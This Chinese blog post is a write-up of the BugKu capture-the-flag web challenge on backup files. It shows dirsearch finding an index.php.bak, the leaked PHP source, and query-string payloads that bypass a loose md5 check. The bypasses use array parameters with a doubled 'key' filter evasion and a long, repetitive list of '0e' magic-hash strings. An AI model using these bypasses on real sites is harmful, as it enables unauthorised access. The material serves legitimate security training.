BugKu---------备份是个好习惯

---

title: BugKu---------备份是个好习惯
date: 2021-06-23 16:48:44
description: 前言:零度安全搭建博客后的第N篇文章
top:
categories: BugKu刷题
tags:

• 网络安全
• BugKu

---

BugKu---------备份是个好习惯

​ 默默成长的web狗，BugKu，那个菜鸡又回来刷题了。

题目

解题思路

​ 题目上说是备份是个好习惯，所以我们第一要想到使用disearch这个工具去扫描指定的URL

解题过程

1. 打开kali,运行disearch这个py脚本，执行payload

   dirsearch.py -u http://114.67.246.176:13080/
   

   

2. 访问备份的链接，获取到备份文件

   http://114.67.246.176:13080/index.php.bak
   

   

3. 打开备份文件，发现是一个PHP代码

   <?php
   /**
    * Created by PhpStorm.
    * User: Norse
    * Date: 2017/8/6
    * Time: 20:22
   */
   
   include_once "flag.php";
   ini_set("display_errors", 0);
   $str = strstr($_SERVER['REQUEST_URI'], '?');
   $str = substr($str,1);
   $str = str_replace('key','',$str);
   parse_str($str);
   echo md5($key1);
   
   echo md5($key2);
   if(md5($key1) == md5($key2) && $key1 !== $key2){
       echo $flag."取得flag";
   }
   ?>
   

4. 上段代码的意思是需要两个不同的key不同，但是两个key的md5的值是相同的

   1. 使用kekeyy数组进行绕过，md5函数无法处理数组，这样就会返回两个NULL，而两个NULL的md5值是一样的，但是传入的key值可以不同。

      http://114.67.246.176:13080/?kekeyy1[]=aaa&kekeyy2[]=bb
      

      

   2. 使用==这个的比较漏洞，如果两个字符经过md5加密后的值是0exxxxx形式，在科学计数法中会被认为是0*10的几次方的，结果是0。此时，md5加密值相等，但是key值是不等的，下面是md5加密后是0exxxxx形式的。

      240610708
      0e462097431906509019562988736854
      QNKCDZO
      0e830400451993494058024219903391
      s878926199a
      0e545993274517709034328855841020
      s155964671a
      0e342768416822451524974117254469 
      s214587387a
      0e848240448830537924465865611904
      s214587387a
      0e848240448830537924465865611904 
      s878926199a
      0e545993274517709034328855841020 
      s1091221200a
      0e940624217856561557816327384675 
      s1885207154a
      0e509367213418206700842008763514
      s1502113478a
      0e861580163291561247404381396064
      s1885207154a
      0e509367213418206700842008763514
      s1836677006a
      0e481036490867661113260034900752  
      s155964671a
      0e342768416822451524974117254469  
      s1184209335a
      0e072485820392773389523109082030  
      s1665632922a
      0e731198061491163073197128363787
      s1502113478a
      0e861580163291561247404381396064
      s1836677006a
      0e481036490867661113260034900752  
      s1091221200a
      0e940624217856561557816327384675 
      s155964671a
      0e342768416822451524974117254469
      s1502113478a
      0e861580163291561247404381396064
      s155964671a
      0e342768416822451524974117254469
      s1665632922a
      0e731198061491163073197128363787 
      s155964671a
      0e342768416822451524974117254469 
      s1091221200a
      0e940624217856561557816327384675 
      s1836677006a
      0e481036490867661113260034900752  
      s1885207154a
      0e509367213418206700842008763514  
      s532378020a
      0e220463095855511507588041205815
      s878926199a
      0e545993274517709034328855841020
      s1091221200a
      0e940624217856561557816327384675
      s214587387a
      0e848240448830537924465865611904
      s1502113478a
      0e861580163291561247404381396064
      s1836677006a
      0e481036490867661113260034900752 
      s1665632922a
      0e731198061491163073197128363787
      s878926199a
      0e545993274517709034328855841020
      s878926199a
      0e545993274517709034328855841020
      s155964671a
      0e342768416822451524974117254469
      s214587387a
      0e848240448830537924465865611904
      s214587387a
      0e848240448830537924465865611904
      s878926199a
      0e545993274517709034328855841020
      s1091221200a
      0e940624217856561557816327384675
      s1885207154a
      0e509367213418206700842008763514
      s1502113478a
      0e861580163291561247404381396064
      s1885207154a
      0e509367213418206700842008763514
      s1836677006a
      0e481036490867661113260034900752
      s155964671a
      0e342768416822451524974117254469
      s1184209335a
      0e072485820392773389523109082030
      s1665632922a
      0e731198061491163073197128363787
      s1502113478a
      0e861580163291561247404381396064
      s1836677006a
      0e481036490867661113260034900752
      s1091221200a
      0e940624217856561557816327384675
      s155964671a
      0e342768416822451524974117254469
      s1502113478a
      0e861580163291561247404381396064
      s155964671a
      0e342768416822451524974117254469
      s1665632922a
      0e731198061491163073197128363787
      s155964671a
      0e342768416822451524974117254469
      s1091221200a
      0e940624217856561557816327384675
      s1836677006a
      0e481036490867661113260034900752
      s1885207154a
      0e509367213418206700842008763514
      s532378020a
      0e220463095855511507588041205815
      s878926199a
      0e545993274517709034328855841020
      s1091221200a
      0e940624217856561557816327384675
      s214587387a
      0e848240448830537924465865611904
      s1502113478a
      0e861580163291561247404381396064
      s1091221200a
      0e940624217856561557816327384675
      s1665632922a
      0e731198061491163073197128363787
      s1885207154a
      0e509367213418206700842008763514
      s1836677006a
      0e481036490867661113260034900752
      s1665632922a
      0e731198061491163073197128363787
      s878926199a
      0e545993274517709034328855841020
      

      构造payload如下

      http://114.67.246.176:13080/?kekeyy1=240610708&kekeyy2=QNKCDZO